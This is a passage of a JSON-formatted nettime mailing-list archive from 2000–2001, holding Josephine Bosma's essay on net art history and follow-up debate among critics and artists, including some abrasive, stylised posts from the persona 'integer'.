artistic process itself, is\npart of a system of evaluation that informs the new art history. \n\n  \n\nArt Before and After 'Going Online' \n\nThe word net art was always problematic. It held the risk for both the\nartists and the art to be too connected to a limited use of a small, specific\nmedia environment, as David Garcia wrote back in 1997 (on the nettime\nmailinglist). Yet artists have mostly tried to escape the word 'art' in it, not the\nword 'net'. Most probably this happened because of problems within the art\nestablishment as I have described earlier. It has been quite clear for many\nfrom the beginning though, that net art was going to be only a -temporary-\n'file' in art discourse for putting certain new practices into while they\nwere developing. Going against the grain, and therefore risking stepping on\nsome toes, I would say the development of art in computer networks forces us to\nditch the general, popular definition of art entirely. We could speak of a\npre- and post- network situation. 'Post-network' in this context points to\nthe by now near total internalization of the internet, or computer networks\nin general, by our environment, our society. I am of course aware this\nprocess is not complete, or may never be completed, in all parts of society (and\nof the world) equally in terms of availability and popular use. What I for\nnow call post-network art is coming forth from a life and culture that is\nsaturated by the new media networks, in which a distinction between online\nculture and off-line culture is very hard to make. \n\nI was talking to a friend of mine, Walter van der Cruijsen, a few days\nago. He is founder of the digital city and other important projects in Holland,\nand he is currently working at the ZKM in Karlsruhe. He was also part of\nnet art projects like Refresh in 1996 and the Ascii Art Ensemble in 1998. We\nagreed entirely on the reevaluation of art in the present setting, a\nreevaluation that has consequences for the popular conception of net art as well as\nfrom the perspective I just described (pre- and post- network art). When I\nspeak of net art, I always have the broadest possible definition of it in\nmind. It does not stand for one specific group of artists, and it is not all\npurely self-referential or criticizing the network medium, as some say. It\ncovers not only browser based art (which should be clear) or the even more\nrestrictive definition of 'site based' art, but also art that happens in any\nother kind of software, any other kind of time frame than the individual\nnow-ness of site based, site anchored art. It also includes live performance like\ndance, music or theatrical enterprises, or performances delayed in time,\nwhich are more like intervention art. What is maybe unexpected though is that\nart that at first glance does NOT use the Internet as a medium at all can\nfall under this definition. I came to this conclusion two years ago, when I saw\nAlexei Shulgin's performance 'Real Cyberknowledge for Real People' in\nVienna. In this piece he handed out newspapers from the mailing list nettime to\nthe Viennese shopping audience. The newspapers were mainly discarded, Shulgin\nwas harassed by an extreme technophobe, and a similar performance had been\ndone before, but that was all unimportant. In his apparent attempt to do the\nultimate lazy act as an artist, in a conscious attempt to do something he\nmaybe thought nobody would consider net art, he created net art. Worse than\nthat, he broadened its definition. Here we see post-network art. It is not a\nnew phase to come; it has been here since artists made work from within a\nnetworked environment. (So not outside of it! The network has to sort of be\n'internalized' or integrated into the life and work of the artist)\nPost-network art is the state-of-the-art in net art today, even if we use both terms,\nthey are one really. Just an anecdote: Walter van der Cruijsen is expressing\nthis phenomenon in an exhibition he will be curating for Mikro in Berlin\nnext year, an exhibition called Radikale System Malerei (Radical System\nPainting). An amazing strategy in a time when painting has approached nearly the\nsame status that playing the violin has in contemporary arts. \n\nThe unstable media V2 in Rotterdam has placed at the center of their work,\nthe variable media that Jon Ippolito proposes as a solution for the\ntransition we experience (from pre- to post- network art); Net artist Cary\nPeppermint calls his work 'restless'; the term 'not.art' that came forth as a\nreaction to net.art; and my term, post-network art, these are all different words\nintended to escape an untenable friction between popular art history and\ncontemporary art practice. The well-known exhibition net_condition at ZKM,\nKarlsruhe, attempted to avoid the problems this friction has been laying in\nfront of the art world (and which it has done for decades already). They did so\nby emphasizing that they were -not- making an art exhibition, but rather\nthat they wanted to give an overview of some aspects of net -culture-. Even\nthough I was quite happy to find so many net art works I like gathered and\npresented in one space, I found this shying away from making the event an -art-\nexhibition somewhat cowardly. Even if the makers were trying to desperately\nescape the problematic situation of art between eras. If they were in other\nwords avoiding dealing with the problematic definition of art, I think it\nwould have been wiser to in fact show the broad overlaps and blurry boundaries\nbetween art and other cultural phenomena from exactly this thing called\n-art- as a central point of departure. I of course say this in the first place\nbecause net art has suffered enough put downs and denials by art\nprofessionals. Secondly a theory from within net art, a discourse from within net art,\nhas started far too late in the development of the net art practice. I had a\nprivate email exchange with Timothy Druckrey in which he stated that net\nart was suffering from too much theoretical discourse. I could not disagree\nmore! If net art is suffering from theoretical discourse, then not from its\nown. Analysis from within the networked field is what we desperately need more\nof. I think we can still quite easily sum up the good texts in this area.\nGood theory is absolutely necessary to help shape the environment into which\nthe art is going to be received and represented. It should be, needless to\nsay, that such a theory has to be in very close communication with the\npractical field. \n\n  \n\nEmpowering Art Practice by Emphasizing its Diversity \n\nI would like make two suggestions for empowering the net art field, to\ncreate an empowerment that allows for diversity and experimentation to have\nroom within art education and art discourse in an information society. I would\nlike to plea for an open-minded attitude towards the virtues of\n'negativity', and I would like to propose something I like to call 'net art monuments'.\nNet art practice has been dominated by two main forces, that have always\ncreated a wonderful mix: web design and anarchy. The extremes of net art are\nrepresented by artists that live by the rules (or the possibilities) of the\ntechnology without being bothered much by moral restrictions. It is this wild,\nunpredictable and experimental side of net art that is obscured further by\ndevelopments within former social spaces such as nettime or through new\ninstitutions like the Webby awards. It is not easy to convince people it needs\nsupport when the discussions are always pushed towards the edge by, amongst\nothers, its loudest and probably best known representative: the artist\nformerly known as antiorp. Projects like Heath Bunting's 'donate', in which net\nart works are given to museums for free (and anyone can submit and donate a\nwork), criticize and balance the discourse and the economy of art online.\nThese subversive works and actions are the projects in art practice that are\nclosest to theory, and they provide connections and moments of reflection in\nthe chaotic 'space' between pre- and post- network art environments. The\nnegativity in some works of both Bunting and antiorp lies in their willful\ndestruction of power structures, power structures that do not obey the structural\nanarchy of the Internet. These works are constructive for net art discourse\nthough, in the sense that they deconstruct art institutional habits and show\nthe empowerment of outer institutional forces by the net. \n\nThe way network art is entering education, be it traditional education or\nself study, (so whether there is the opportunity to access knowledge) has\nalways been one of my strongest motives to spread texts and interviews\nbroadly. In order to make sure the diversity of net art remains a given fact and\ndoes not get lost within art education (where in academies etc. making net art\nalas almost equals web design completely), I would like to suggest to\nsimply give certain works the status of monument. A monument is a place for\ncontemplation of events, behavior and situations of the past, these three then\nbeing both negative and positive in nature. These unstable monuments of art on\nthe net have been of great importance for net art in some way. I therefore\nend my talk with a list of possible net art monuments, which for various\nreasons have been influential in the short history of net art. I'm keeping it\nbrief and do not include forerunners of the net. I invite you to come up with\nmore suggestions. \n\nnot in order of importance: \n\nOlia Lialina's My Boyfriend Came Back From the War\n(first net art work to be sold) \n\nCornelia Sollfrancks Female Extension\n(using 288 fake identities to subvert the first institutional net art\ncontest in 1997) \n\nHeath Bunting's old cybercafe site: all projects\n(the Tokyo project is very impressive yet simple net performance) \n\njodi.org\n(depth in view at first glance, poetic sense and playful deconstruction of\ncode) \n\nthe anti NATO protest by 'antiorp' during Kosovo war\n(most compact example of this artist's radicality) \n\nAlexei Shulgin's Viennese performance\n(first clear sign of 'net art beyond the net') \n\nShulgin's Form Art\n(effective simplicity with astounding (unintended?) former eastern block\nfeel) \n\nsuperbad.com\n(the first in a seemingly specific genre in web art) \n\nfakeshop.org\n(for their use of software, their use of the web, and their use of sound,\nall poetically entwined) \n\nFirst page of hell.com\n(shows an attempt to obscure and separate work from general net culture) \n\nRTMark\n(for the strategic and at the same time theatrical use of anonymity,\nexchange and communication\nin the net) \n\n  \n\nFinally: \n\nNet art was never depending on representation in institutions, yet it has\nalways needed central points for discussion, social exchange or exchange of\nknowledge (something announcements also do: sharing with an audience the\nwhere, what and how of a work). Early net artists have developed their networks\nin such a way they do not need such central meeting places anymore. Yet\nbecause of the lack of cross-disciplinary discourse platforms (where audience,\n'critics' and artists meet in a more open social space with a broad cultural\nfeel), newcomers in the networked cultural field are caught between\ninstitutional art discourses and obscure lists. \n\nWhat is interesting is that one can find all different views and\nrepresentatives of various positions on the arts meeting within the same medium, yet\nsomehow the communication stays limited. It could be important to look at\nwhere exactly the separate disciplines and social structures have come\ntogether and have produced new approaches, and where they on the contrary clash and\ndivide. The influence of the medium itself in this should not be\nunderestimated either. \n\n\n \n\n-- \nSent through GMX FreeMail - http://www.gmx.net\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0009/msg00209.html",
                "list": "nettime_l",
                "author_name": "text warez",
                "subject": "<nettime> Josephine Bosma: Between moderation and extremes.",
                "from": "text warez <textz {AT} gmx.net>",
                "follow-up": [
                    {
                        "from": "ichard barbrook <richard {AT} hrc.wmin.ac.uk>",
                        "content": "\nHiya,\n\n>the anti NATO protest by 'antiorp' during Kosovo war\n>(most compact example of this artist's radicality)\n\nYes, how very radical of them to support the 'ethnic cleansing' of the\nKosovars. I'm sure that Slobo and Mira were very grateful for their\nartistic intervention. What next: a cool 'n' trendy website for the French\nNational Front or the German neo-nazis?!\n\nLater,\n\nRichard\n\n-------------------------------------------------------------------\nDr. Richard Barbrook\nHypermedia Research Centre\nSchool of Communications and Creative Industries\nUniversity of Westminster\nWatford Road\nNorthwick Park\nHARROW HA1 3TP\n\n<www.hrc.wmin.ac.uk>\n\n+44 (0)20 7911 5000 x 4590\n\n-------------------------------------------------------------------\n\"While there is irony, we are still living in the prehistoric age. And we\nare not out of it yet...\" - Henri Lefebvre\n-------------------------------------------------------------------\n\nIf you would like to keep in touch with what is happening at the HRC, you\ncan subscribe to our Friends mailing list on:\n\nhttp://ma.hrc.wmin.ac.uk/lists.friends.db\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00223",
                        "date": "Fri, 22 Sep 2000 19:53:51 -0400",
                        "to": "NETTIME-L {AT} bbs.thing.net",
                        "message-id": "200009240315.XAA24903 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0009/msg00223.html",
                        "content-type": "text/plai",
                        "author_name": "richard barbrook",
                        "subject": "Re: <nettime> Josephine Bosma: Between moderation and extremes."
                    }
                ],
                "message-id": "200009222115.RAA23799 {AT} bbs.thing.net",
                "date": "Fri, 22 Sep 2000 13:08:07 +0200 (MEST)",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "integer {AT} www.god-emil.dk",
                "id": "00202",
                "content": "\njosephine bosma [u!l ador d!sz ja] re: olia lialina kommentari \n\n\n>> And it's a pity that net art critics who have been working\n>> in the field since the heroic days have reduced their\n>> activity to interviews. Or hurrying and competing to be the\n>> first to announce death and failure. ASCII Paparazzi.\n>\n>err.... ascii paparazzi? Sorry dear Olia, this is too insulting to come\n>from you. Anyway, the biggest problem net art journalists and observers\n>have is that we are too few with too much to do. \n\nfirstly - you are all u l t r a u l t r a inkompetent.\nsecondly - you are all merely regurgitating each others ascii paparazzi \nkontaminazie.\n\n\n>> Btw, saying that net art is just beginning isn't very\n>> different from saying it's dead.\n>\n>That is a very strange thing to say,\n\nnn opinie it = the most intelligent + interessant data outputted by olia \nlialina [second being ascii paparazzi]\n\nvr!!endl!.nn\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "date": "Mon, 19 Feb 2001 14:43:47 +0100 (CET)",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200102192239.RAA23541 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00202.html",
                "list": "nettime_l",
                "author_name": "integer",
                "subject": "<nettime> Re: art history n"
            },
            {
                "content-type": "text/plai",
                "from": "integer {AT} www.god-emil.dk",
                "content": "\n\nolia lialina <olialia {AT} televisie.org>\n\n>Pit Schultz:\n>\n>\n>> to demand now, why not more artists are put into the heaven of\n>> net-dot-art is understandable but neverteless futile. we speak already\n>> about the past. of course one can try to overwrite history, by inventing\n>> a genre of 'artistic software' and neglect that groups like jodi or iod\n>> for example started a whole \"do it yourself - school\" of understanding\n>> code and the visual layers plus its social context as one thing,\n>> tactically including bits of programming language. an approach now\n>> very viral on the microsound levels of electronic music.\n>\n>\n>Yes, very true.\n\n\nPit Schultz is likely the quintessential example of an inkompetent\npop.tart male imbecile.\n\njodi [inkompetent pop.tartz++] copy pasted most =cw4t7abs data. =cw4t7abs\nkode = existed prior to british gov sponsored iod which lacks in any case.\n\nPit Schultz like imbeciles e.g. `critics` comme geert lovink, tilman\nbaumgaertel etc whose m9nd aktivity resembles that of a housefly - only\nunderstand the trivial hence the state of things - 01 amalgam of\nfinancially + .bio destitute house flies following refuse - i.e. each\nother.\n\n\n>integer {AT} www.god-emil.dk wrote:\n>\n>> nn opinie it = the most intelligent + interessant data outputted by olia\n>> lialina [second being ascii paparazzi]\n>\n>natalja, ti stanovish'sa sentimental'noj. ja ne uznaju tebia\n\n\nkonzum>zntmntl.g!glb!tz. du != d!fr ver!.\n\n\n\n\n\n\n\nTilman Baumgaertel <tilman_baumgaertel {AT} csi.com> - lo.tekk kr!ket begd\n\n>hallo\n>\n>thanks for all the info. Very interesting. I've been thinking for years\n>that somebody should do something like that, The screenshots look great. \n>\n>Unfortunately all doesn't replace personal experience of the\n>piece/workofart/programm. I need to know that it works, unlike projects\n>like \"earshot\", \n\n\nearshot - another excellent example of occident males in flight. permit\nsomeone to smile at the aerodynamics + aesthetics.\n\nnot to mention the imbeciles stole my copyright information. + 1 abs must\nperuse their vocab - ist .uk 01 immense pub oder quoi +? drunken\nilliterate plebeians.\n\n\n\n>and what the effect is on the user. \n\nopinie = we already know. + your dilettantish observations arent desired.\nne + ne.\n\nhttp://www.eusocial.com/nato.0+55+3d/242.nn.html\n\n\n\n>So I need a copy of the\n>thing. I don't have a mac, but could arrange for one. \n\n\ndesire != okupaz!on. please insert addtl koins kriket. just 1 klik your\nflight - http://www.eusocial.com\n\n\n\n>Btw, did you consider to open source the whole thing?\n\nunsanitary open sore +? smile++ _\n\n\n>Or are you trying to\n>sell it? \n\n\nam not attempting to. i am.\n+ you cannot afford it. financially nor intellectually.\n\nkompassionat smile 2 01 amalgam of financially + .bio destitute fruit flies.\n\nnn\n\n\n\n                      nn.o1 - op!n!e zvp +?\n                      nn.o2 - its good + violent. transmit - yes.\n                      nn.o1 - kl!!!!!!!!k\n\n\n\n\n\n                                                        -\n\n\n\n                                          pre.konssept!\u0158n  \n                                                meeTz ver!f1kat!\u0158n.     \n\n\n\n\nNetochka Nezvanova\n\u0010f\u0010\u0010\u00103.MASCHIN3NKUNST\n {AT} www.eusocial.com\n17.hzV.tRL.478\n                                                    e\n                                                    |\n                                                     |  +----------\n                                                    |  |     <   \n                                   \\\\----------------+  |  n2t\u0010      \n                                                       |       >\n                                                       e\n\n\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "id": "00261",
                "date": "Sat, 24 Feb 2001 11:17:47 +0100 (CET)",
                "to": "nettime-l {AT} bbs.thing.net",
                "message-id": "200102260238.VAA02914 {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00261.html",
                "list": "nettime_l",
                "author_name": "integer",
                "subject": "<nettime> net art history (!ngezt)"
            },
            {
                "id": "00084",
                "content": "\nEven if I have respect for the amount of work Josephine Berry has put in\nher thesis, I feel like I have to make a comment about what I see as a\nfew basic mistakes in her analyses. The basis of Berry's way of thinking\nseems to be that net art started in 1996 with net.art. There is no or\nhardly any mentioning of network art before that time, and even of net\nart made by others during the time net.art started to be discussed. Then\nthere is the insistent hammering on the alledged political aims of this\nfirst net.art 'group'. Even if the works and attitude of -some- members\nof this group have been very influential in the way net art has been\napproached in especially the nettime community ( and also in the way it\ninspired some artists of a younger generation) it would be wrong to make\nan analyses of net art depend on these few and the spin around them.\nWhat I read (and have read in the past) from Josephine Berry view on net\nart is a strong focus on this political aspect of early net.art which\nthen turns into an analyses of its failure every time she writes about\nit. And of course, what else could it be. The revolutionary potential of\n'political' art (for lack of a better term) has always been very small.\nThis art is always part of a larger cultural change or tendency. I hope\nit is clear in her thesis that this particular analyses concerns a small\nbut influential part of net art and that there will be many more up to\ndate chapters on other artworks and trends in her thesis. \n\n\n\n\n\nbest\n\n\nJ\n*\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00084.html",
                "list": "nettime_l",
                "author_name": "Josephine Bosma",
                "subject": "<nettime> Re: [Nettime-bold] Josephine Berry's net art history",
                "from": "Josephine Bosma <jesis {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "Josephine Berry <josie {AT} metamute.com>",
                        "content": "\n\nDear Josephine,\n\nI could not have expected you to realise this (since I didn't explain), but the subject of my thesis *is* the group of artists that are loosely defined by the term 'net.art', and so the lack of a broader description is, to quite a large extent, intentional. Although it is impossible to discuss any art movement or group in a historical vacuum, it is however equally impossible to include every single related instance of practice. I made the decision to use conceptual art of the 60s and 70s as the main genealogical thread rather than early network artists because I see these conceptual artists as crucial historical precedents to *both* later moments. Having said that I do make mention of mail artists who are a strong precursor to net art not only because of the coincidence of dematerialisation and the network but also because the mail art movement included many non-artists - or at least people who didn't understand themselves precisely in these terms. This leads me to your other !\ncriticism which is my tendency to see net.artists as having 'failed' in their own terms. In this chapter my argument is that it is the net.artists insistance on defending their art practice from dissolution in the wider network which collapses it back into the market-institutional framework from which they precisely tried to escape. In this respect it is the fact that they were hostile (in contrast to mail artists) to their work being adopted, manipulated, dissected, plagiarised etc. etc. by the *wider community* that, in my reading, amounts to a failure - and, ironically, in their own terms. So you are right when you touch on an important lack in the chapter - of a multitude of other network-based creativity - but I think you misunderstand me if you think that this absence relates purely to my own lack of interest. At the end, I talk about the 01001etc.etc.org group as a hopeful instance of a practice which attacks intellectual art-property and opens up art to the massive cre!\native potential inherent in the social field. I think this is a fa\n optimistic reading than any more limited celebration of specific artists.\n\nThe final thing to say on the issue of failure is the idea, expressed by the likes of Adorno and Debord, that the history of modern art is the history of its own endlessly deferred end. The autonomy which art gained from older forms of social service confronted it increasingly with the unfreedom of the world - a contradiction which precipitates its continued crisis. The 'failure' of the net artits is, in this sense, entirely in keeping with the wider movement of modern/post-modern art.\n\n\n->- www.metamute.com -<- coming back soon\n\n* ->- www.ouimadame.org -<- * to follow\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00103",
                        "date": "Mon, 12 Feb 2001 11:06:24 +0000",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200102130603.BAA23239 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00103.html",
                        "content-type": "text/plai",
                        "author_name": "Josephine Berry",
                        "subject": "Re: <nettime> Re: [Nettime-bold] Josephine Berry's net art history"
                    },
                    {
                        "from": "Tilman Baumgaertel <tilman_baumgaertel {AT} csi.com>",
                        "content": "\nHello Josephine!\n\nJust some brief remarks on the chapter of your dissertation that you send. \n\nI think it is very good in general, and the theory around net art needed\nsome boost. Too bad that nobody produces any net art anymore... ;-) \n\nTwo things: first of all there are hints throughout the text that net art\nhas become accepted by the so-called art world, is assimilated in the art\nmarket etc. I have heard that claim a couple of times recently, but I don't\nsee much proove for that. There was a handful of sales of net art piece, OK\n- but that was widely acknowledged by everybody, because it was so\nspectacular, that somebody would pay money for some HTML pages. But apart\nfrom that there is no market there - at all! (I am writing that not,\nbecause I care very much if there is a market for net art or not, but to\ncounter these recent claims that net art has been \"established\".) And at\nleast in Germany there is no \"normal\" museum or gallery that pays any\nattention to this stuff; only specialized institutions like the ZKM who\nwere founded for just that purpose. If a show like the Whitney Biennale\nshows net pieces it is still pointed out as unusual, and I don't think any\nnet stuff will be included in the next documenta. So I think in terms of\nrecogniation of the \"real\" art world it is much earlier than we think, and\nmaybe it will never happen.\n\nThe other thing that bothered me as well as Josephine Bosma was the\nlimitation on the artists you discuss extensively, but you explained that.\nI don't know if you point out elsewhere that you are limiting yourself to\nthese people because you can't discuss everything that happens on the net\nin terms of art. I think especially in the context of this chapter it might\nbe interesting to focus on the very strategy they employed to get\nrecognition. You know, form a little group, give yourself some interesting\nname, create a myth around yourself and start to write manifestos. On the\none hand this is a well-known artist's strategy, on the other hand - if you\nlook at it now - it was done kind of sloppy and tongue in cheek (the famous\nstory about the term net.art etc). I mean, only so few manifestos? Maybe\nthis can also be read as an example of the use of an art strategy that\nturns into something else, that you describe in some of the examples...\n\nAs far as the Biopower-stuff is concerned... well, I haven't read \"Empire\",\nbut to me it sounds a little bit like \"bio compost\", for which we have a\nspecial garbage can here in Germany... ;-) I totally agree with you that\nthe net artists used (and still use) well-established art (and\nanti-establishment) attitudes, that somehow transcend the art realm, when\nthey are applied on the net. I have a hard time finding the right\nterminology to describe this, but I am not sure if the \"Empire\"-terminology\nputs it so well, either. \n\nWell, so much for now. There is a lot to be said about this topic, but\nsince this discussion was stifled on nettime at one point, nobody did\ncontinue it. Maybe over some pasta with chicken, again, Josephine? ;-) \n\nYours, \nTilman \n\nPS: Of course I don't agree with you that I. Graw plays such an role in\nyour essay, but never mind. I wrote a furious reply on this piece, when it\ncame out, that Jospehine Bosma was kind enough to translate: \n\n\n\nAt 11:06 12.02.01 +0000, you wrote:\n>\n>Dear Josephine,\n>\n>I could not have expected you to realise this (since I didn't explain),\nbut the subject of my thesis *is* the group of artists that are loosely\ndefined by the term 'net.art', and so the lack of a broader description is,\n <...>\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00117",
                        "date": "Tue, 13 Feb 2001 18:22:02 +0100",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200102140505.AAA05257 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00117.html",
                        "content-type": "text/plai",
                        "author_name": "Tilman Baumgaertel",
                        "subject": "Re: <nettime> Re: [Nettime-bold] Josephine Berry's net art history"
                    }
                ],
                "message-id": "200102102123.QAA27954 {AT} bbs.thing.net",
                "date": "Sat, 10 Feb 2001 10:33:37 +0100",
                "content-type": "text/plai"
            },
            {
                "id": "00153",
                "content": "\n\nrobert adrian wrote:\n\n> All of the artists\n> you mention treat the Internet as public space\n> and, no matter what their other agendas may be,\n> an important political element of their work is\n> to claim that space as a place for art.\n\nExactly. And this is the part where politics -do- come into view: with\nthe tools or space for art or culture in general to develop with or in.\nThe fact that politics are undeniably a part of art in media does not\nmean that a potential of an art practice to make a difference in the\npolitics of either the artworld itself or in that of a broader world of\nindustrial and political power struggles mean that such a potential\nshould be judged seperately from the other aspects of such artworks. To\ndo that gives a crooked image of an enterprise that fails at reaching\nsome goal. As Josephine Berry did say, and she uses the example of\n00100etc.org for this, is that the -potential- for political change in\nsome net art obviously has -not- 'failed' or died yet. I think it is\nexactly that which was and is its strength and also its burden. Art in\nmedia are and will be always controversial. The controversy around it is\nnot easy to give words to always though. Sometimes it is just something\nsimple like 'it is useless'.\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                "to": "nettime-l {AT} bbs.thing.net",
                "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00153.html",
                "list": "nettime_l",
                "author_name": "Josephine Bosma",
                "subject": "<nettime> Re: Re: net art history",
                "from": "Josephine Bosma <jesis {AT} xs4all.nl>",
                "follow-up": [
                    {
                        "from": "\"OVER EXPOSURE\" <ps1_newart {AT} hotmail.com>",
                        "content": "\n\na disclaimer:\ni think of my artwork as research and so when i reference my work please \nconsider it as a textual response or rather my attempt at \"meaningful\" \naddition to this and other threads.  probably most people on this list \nrealize this approach and value of an artist's contributions in this way.  i \nonly make this disclaimer because so often (possibly via my american status) \ni feel that self-references to work on this and other lists are read as \nself-promotion or spam and while it is true that i do stand to gain from the \nthin thread of \"future monetary capital\" so do all artists, intellectuals \ninvolved in the \"creative process\".  those who know my work well know this \n\"future profitability\" is not my motivation behind the work otherwise i \nwould simply become an investment banker and no longer \"enjoy\" living in an \nillegal warehouse space in harlem.\n\na response\nnow may i suggest that yes the simple gesture in the acquisition of  \"space\" \nanywhere for the purposes of art is a radical political gesture at this \npoint in time.  \"a contemporary american artwork in progress \n(http://www.restlessculture.net/americanart ) as well as most of my current \nwork deals directly with recombinate modes that re-access the concept of  \n\"resistance\" and attempt an offset of reactionary politics and the creation \nof mere binaries.  these  binary situations are the over-simplified reversal \nand as i see it easily located and less than restless simplistic reversal of \nconcepts for the purposes of the now standardized \"political\" criteria well \nadapted and used as latent carriers for our american political/economic \nsystem  i.e., political correctness.\n\nto not consider the efforts of  many artists performing this simple gesture \nof art-occupation at the fringes of ALL networks and nodes within and off of \nthe obvious and profitably singular tag of \"the internet within itself\" is \nreally disappointing.  to berry or anyone attempting an understanding of art \nat this time i would say please consider the \"nternet within itself\" as the \nleast important aspect of this moment and consider instead the metaphoric \nuse of the internet: a model for the acceleration of time and decrease of \nspace that is occurring all around us.  true, wolfgang net.art is dead as \nare all texts approached with such a singular in narrow reading.\n\n-cpv59\n\n\n>robert adrian wrote:\n>\n> > All of the artists\n> > you mention treat the Internet as public space\n> > and, no matter what their other agendas may be,\n> > an important political element of their work is\n> > to claim that space as a place for art.\n>\n>\n>Josephine Bosma wrote:\n>\n>Exactly. And this is the part where politics -do- come into view: with\n <...>\n\n_________________________________________________________________\nGet your FREE download of MSN Explorer at http://explorer.msn.com\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00159",
                        "list": "nettime_l",
                        "date": "Thu, 15 Feb 2001 12:20:04 -0500",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200102160005.TAA05318 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00159.html",
                        "content-type": "text/plai",
                        "author_name": "OVER EXPOSURE",
                        "subject": "Re: <nettime> Re: Re: net art history"
                    },
                    {
                        "from": "\"G.H. HOVAGIMYAN\" <gh {AT} popstar.com>",
                        "content": "\n\nOVEREXPOSURE WRITES:\n\n\nnow may i suggest that yes the simple gesture in the acquisition of  \"space\"\nanywhere for the purposes of art is a radical political gesture at this\npoint in time.\n\nGH Comments:\n\nFor most net  artists/ artists working in digital media, especially in the\nUSA it's all about resisting the push to institutionalize, commodify and\npackage creativity.  It's also about the positive notion of creating a free\narea where the artist can make work. Or as Cary says acquisition of space\nfor the purpose of art. I would like to note that this acqusition of space\nfor the purpose of art is radical when it is accomplished by an individual\nor group of artists.\n\n\n______________________________________________\nFREE Personalized Email at Mail.com\nSign up at http://www.mail.com/?sr=signup\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime> is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} bbs.thing.net and \"info nettime-l\" in the msg body\n#  archive: http://www.nettime.org contact: nettime {AT} bbs.thing.net\n",
                        "id": "00185",
                        "date": "Fri, 16 Feb 2001 08:20:19 -0500 (EST)",
                        "to": "nettime-l {AT} bbs.thing.net",
                        "message-id": "200102171952.OAA31185 {AT} bbs.thing.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-0102/msg00185.html",
                        "content-type": "text/plai",
                        "author_name": "G.H. HOVAGIMYAN",
                        "subject": "Re: <nettime> Re: Re: net art history"
                    },
                    {
                        "from": "lia lialina <olialia {AT} teleportacia.org>",
